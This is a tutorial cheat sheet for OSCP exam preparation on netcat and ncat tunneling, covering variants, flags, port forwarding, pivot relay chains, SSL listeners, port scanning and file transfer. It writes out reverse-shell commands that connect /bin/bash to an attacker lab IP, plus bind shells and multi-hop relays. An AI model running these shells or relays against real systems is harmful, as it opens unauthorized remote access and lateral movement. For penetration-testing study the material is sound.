Netcat Tunneling
Netcat is the Swiss army knife of networking. It can read from and write to network connections using TCP or UDP. Multiple variants exist with different capabilities, which is a common source of confusion during OSCP.
Netcat Variants
| Variant |
Command |
-e Flag |
SSL |
SOCKS |
Notes |
| Traditional (GNU) |
nc |
No |
No |
No |
Basic TCP/UDP only |
| OpenBSD |
nc / nc.openbsd |
No |
No |
No |
Modern default on many distros, uses -c |
| Ncat (Nmap bundle) |
ncat |
Yes |
Yes |
Yes |
Most feature-rich, included with Nmap |
| Netcat-traditional |
nc.traditional |
Yes |
No |
No |
Legacy version with -e support |
Finding Your Variant
# Check which nc you have
nc -h 2>&1 | head -5
ls -la $(which nc)
dpkg -l | grep netcat
# Check for ncat
which ncat
ncat --version
The -e Flag Matters
The -e flag executes a program after connecting. This is critical for reverse shells:
# Requires netcat-traditional or ncat
nc -e /bin/bash 10.10.14.3 4444
ncat -e /bin/bash 10.10.14.3 4444
# OpenBSD nc does NOT support -e, use -c instead
nc -c /bin/bash 10.10.14.3 4444
Netcat Flags Reference
| Flag |
Description |
Example |
-l |
Listen mode |
nc -lvp 4444 |
-v |
Verbose output |
nc -lv 4444 |
-vv |
More verbose |
nc -lvv 4444 |
-p |
Specify local port |
nc -lp 4444 |
-e |
Execute program after connect |
nc -e /bin/bash IP PORT |
-c |
Execute command (OpenBSD) |
nc -c 'bash -i' IP PORT |
-k |
Keep listening after client disconnects |
nc -lk 4444 |
-u |
UDP mode |
nc -uv 53 |
-z |
Zero-I/O mode (port scanning) |
nc -zv IP 80 |
-w |
Timeout in seconds |
nc -w 3 IP PORT |
-q |
Quit after EOF and seconds |
nc -q 1 IP PORT |
Basic Tunneling
Port Forwarding
# On pivot — listen and forward to internal target
nc -lvp 4444 -c 'nc 10.10.10.10 80'
# On attacker — connect to the pivot
nc 10.10.10.5 4444
# Now you have a raw connection to 10.10.10.10:80
Reverse Tunnel
# On attacker — listen
nc -lvp 4444
# On pivot — connect back with shell
nc -e /bin/bash 10.10.14.3 4444
# Or with ncat:
ncat -e /bin/bash 10.10.14.3 4444
UDP Port Check
# Check if UDP port is open
nc -uzv 10.10.10.10 53
# Send UDP data
echo "test" | nc -u 10.10.10.10 53
Ncat Advanced Features
Ncat (bundled with Nmap) is the most powerful netcat variant for OSCP.
SSL-Encrypted Tunnel
# Generate self-signed certificate
openssl req -newkey rsa:2048 -keyout key.pem -out cert.pem \
-nodes -x509 -days 365 -subj "/CN=ncat"
# Listener with SSL
ncat --listen 4443 --ssl --cert cert.pem --key key.pem -e /bin/bash
# Connect with SSL
ncat --ssl 10.10.10.5 4443
SOCKS Proxy with Ncat
# Create SOCKS proxy through SSH
ncat --listen -p 1080 \
--ssh-proxy 10.10.10.5:22 \
--ssh-user user \
--ssh-password password
Exec Mode
# Execute a command and pipe I/O
ncat --listen 4444 -e /bin/bash
# Execute with shell interpretation
ncat --listen 4444 --sh-exec "/bin/bash -i"
Proxy Support
# Connect through HTTP proxy
ncat --proxy http://proxy:8080 --proxy-type http target.com 80
# Connect through SOCKS proxy
ncat --proxy socks5://127.0.0.1:1080 target.com 80
Netcat Tunnel Chain
Architecture
graph LR
A[Attacker<br/>nc -lv 4444] <-->|TCP| B[Pivot<br/>nc -e relay]
B <-->|TCP| C[Target<br/>Service:80]
Multi-Hop Relay
# On attacker
nc -lvp 4444
# On pivot 1
nc -lvp 4445 -c 'nc 10.10.14.3 4444' &
nc -lvp 4446 -c 'nc 10.10.10.5 4445' &
# On pivot 2
nc -lvp 4447 -c 'nc 10.10.10.5 4446' &
# Chain: Attacker:4444 ↔ Pivot1:4445 ↔ Pivot1:4446 ↔ Pivot2:4447
Netcat for Port Scanning
# Single port
nc -zv 10.10.10.10 80
# Port range
for port in {22,80,443,3306,3389,8080}; do
nc -zvw 1 10.10.10.10 $port && echo "Port $port is open"
done
# Full range scan (slow)
nc -zv 10.10.10.10 1-1000
Netcat for File Transfer
# Sender
nc -lvp 4444 < file_to_send.txt
# Receiver
nc 10.10.10.5 4444 > received_file.txt
# Binary file transfer
nc -lvp 4444 < binary_file.bin
nc 10.10.10.5 4444 > received_binary.bin
Netcat vs Socat vs Chisel
| Feature |
Netcat |
Socat |
Chisel |
| Simplicity |
Simplest |
Moderate |
Moderate |
| Reverse shell |
Basic |
Best TTY |
N/A |
| Port forwarding |
Basic |
Flexible |
Structured |
| UDP support |
Limited |
Full |
No |
| SOCKS proxy |
Ncat only |
No |
Yes |
| SSL/TLS |
Ncat only |
Yes |
Yes |
| Multi-connection |
No (-k) |
Yes (fork) |
Yes |
| Availability |
Often pre-installed |
Sometimes |
Must deploy |
| Best for |
Quick shells, simple tasks |
Complex relays, UDP |
Production tunnels |
Troubleshooting
| Problem |
Cause |
Solution |
-e not recognized |
OpenBSD netcat |
Use nc.traditional or ncat |
| Shell closes immediately |
No TTY |
Use socat instead for better shells |
| Connection refused |
Port not listening |
Verify listener is running |
-c not recognized |
Traditional netcat |
Use -e instead |
| Only one connection |
Missing -k flag |
Add -k to keep listening |
OSCP Exam Tips
- Know which nc variant you have —
nc -h tells you immediately.
- Prefer
ncat when available — it has -e, SSL, and proxy support.
- Use
nc.traditional on Kali if you need -e and only OpenBSD nc is default.
- For reliable reverse shells, prefer socat — netcat shells often lack proper TTY.
nc -zv is great for quick port checks when nmap is not available.
-k flag lets you handle multiple connections without restarting.
Further Reading